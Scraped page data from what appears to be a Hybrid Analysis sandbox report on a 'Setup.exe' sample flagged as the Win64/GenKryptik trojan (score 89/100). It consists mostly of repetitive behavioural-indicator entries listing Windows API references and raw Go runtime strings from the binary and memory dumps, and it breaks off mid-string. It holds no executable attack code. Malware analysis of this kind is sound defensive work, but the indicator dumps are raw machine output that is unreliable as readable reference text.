26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/GenKryptik_AGeneric.CKZ trojan Sample 2e44cd375573… — Score 89/100 — Hybrid Analysis","description":"Malicious verdict for sample 2e44cd375573…. Malware family: Win64/GenKryptik_AGeneric.CKZ trojan. Threat score 89/100. 6/28 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718","keywords":["Malicious","Win64/GenKryptik_AGeneric.CKZ trojan","malware analysis","sandbox report","threat intelligence","2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718"],"about":{"@type":"SoftwareApplication","name":"Setup.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718","additionalType":"Malicious sample"},"threatScore":89,"malwareFamily":"Win64/GenKryptik_AGeneric.CKZ trojan","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":7,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4bd,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp")28:T62c,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp, 00000000-00002136.00000001.168372.0F9FA000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp, 00000000-00002136.00000001.168372.0F9FA000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002136.00000001.168372.0F9FA000.00000002.mdmp")29:T820,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many l" (Indicator: "CertOpenStore"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "inksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "inksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChange" (Indicator: "CertOpenSystemStoreW"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChange" (Indicator: "CryptAcquireContextW"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "> s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll f" (Indicator: "CertGetCertificateChain"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "ailedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup se" (Indicator: "CertFreeCertificateChain"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid sw" (Indicator: "CertFreeCertificateContext"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "eepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorychannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gs" (Indicator: "CertCreateCertificateContext"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "ntries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeGODEBUG: unknown cpu feature "sync: inconsistent mutex statesync: unlock of unlocked mutexcannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertAddCertificateContextToStore"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin"), Found api reference "ntries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeGODEBUG: unknown cpu feature "sync: inconsistent mutex statesync: unlock of unlocked mutexcannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertVerifyCertificateChainPolicy"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many" (Indicator: "CertOpenStore"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChang" (Indicator: "CertOpenSystemStoreW"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChang" (Indicator: "CryptAcquireContextW"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "> s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll" (Indicator: "CertGetCertificateChain"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "ailedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup s" (Indicator: "CertFreeCertificateChain"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid s" (Indicator: "CertFreeCertificateContext"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on g" (Indicator: "CertCreateCertificateContext"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference ", locked to thread, synctest bubble runtime.semacreateruntime.semawakeupbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily 